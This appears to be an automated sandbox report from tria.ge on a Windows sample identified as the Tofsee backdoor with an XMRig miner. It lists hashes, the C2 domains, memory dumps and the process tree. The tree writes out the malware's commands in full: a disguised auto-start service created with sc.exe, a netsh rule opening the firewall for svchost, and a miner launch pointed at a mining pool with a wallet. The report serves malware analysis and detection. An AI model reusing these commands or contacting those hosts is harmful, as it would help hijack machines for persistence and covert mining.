Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    20/12/2022, 00:50

General

  • Target

    file.exe

  • Size

    304KB

  • MD5

    28ed64d08b23133f1bb4262b3f12207f

  • SHA1

    733414e08c1177250ad6b7c5efd0c98d67fa432f

  • SHA256

    8c10f61f52638d29875ff12435258e8f9a3a692727eeb479f1a113f42d9fca0b

  • SHA512

    533cc0241a9101c19d62d25ee690b90fc4425962cee65598fce9492abc81c40912293e13518e045fd6807081010dd912b9670f4ce8e7b3e855594560832d758e

  • SSDEEP

    6144:I/L9CEzLMwVvKbQf/mfZdXFGfqN4/63QZImQKG0:2pCEx+QWffFDbQZW

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dddsnzyq\
      2⤵
        PID:1992
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hgfghrtw.exe" C:\Windows\SysWOW64\dddsnzyq\
        2⤵
          PID:1484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dddsnzyq binPath= "C:\Windows\SysWOW64\dddsnzyq\hgfghrtw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dddsnzyq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dddsnzyq
          2⤵
          • Launches sc.exe
          PID:1064
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:876
      • C:\Windows\SysWOW64\dddsnzyq\hgfghrtw.exe
        C:\Windows\SysWOW64\dddsnzyq\hgfghrtw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1624
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:880
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1868

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\hgfghrtw.exe

        Filesize

        10.6MB

        MD5

        91699c9264b7ba49f39a0e08425ea98e

        SHA1

        246ca4bb1b969eb4a4c9dbe6f1f05086dd2e46d8

        SHA256

        c6670ea709d85bd4e682363366cac8233c148f648d2c44e707b188c4b957ab6d

        SHA512

        f33658017d7ec244e0ea23468376f866e34c0a54e6804bda3e20321c238e2270e99e5d55cf0e630699d196137b9b84a1783fc7aef0d197948aa6febc889c32ac

      • C:\Windows\SysWOW64\dddsnzyq\hgfghrtw.exe

        Filesize

        10.6MB

        MD5

        91699c9264b7ba49f39a0e08425ea98e

        SHA1

        246ca4bb1b969eb4a4c9dbe6f1f05086dd2e46d8

        SHA256

        c6670ea709d85bd4e682363366cac8233c148f648d2c44e707b188c4b957ab6d

        SHA512

        f33658017d7ec244e0ea23468376f866e34c0a54e6804bda3e20321c238e2270e99e5d55cf0e630699d196137b9b84a1783fc7aef0d197948aa6febc889c32ac

      • memory/880-70-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/880-98-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/880-95-0x0000000000240000-0x0000000000247000-memory.dmp

        Filesize

        28KB

      • memory/880-92-0x0000000005910000-0x0000000005D1B000-memory.dmp

        Filesize

        4.0MB

      • memory/880-89-0x0000000000180000-0x0000000000185000-memory.dmp

        Filesize

        20KB

      • memory/880-86-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

      • memory/880-83-0x00000000000F0000-0x00000000000F6000-memory.dmp

        Filesize

        24KB

      • memory/880-80-0x00000000018D0000-0x0000000001ADF000-memory.dmp

        Filesize

        2.1MB

      • memory/880-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/880-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1624-74-0x000000000028C000-0x00000000002A1000-memory.dmp

        Filesize

        84KB

      • memory/1624-76-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

      • memory/1720-54-0x00000000757A1000-0x00000000757A3000-memory.dmp

        Filesize

        8KB

      • memory/1720-67-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

      • memory/1720-66-0x000000000058C000-0x00000000005A1000-memory.dmp

        Filesize

        84KB

      • memory/1720-56-0x000000000058C000-0x00000000005A1000-memory.dmp

        Filesize

        84KB

      • memory/1720-57-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1720-58-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

      • memory/1868-99-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1868-101-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB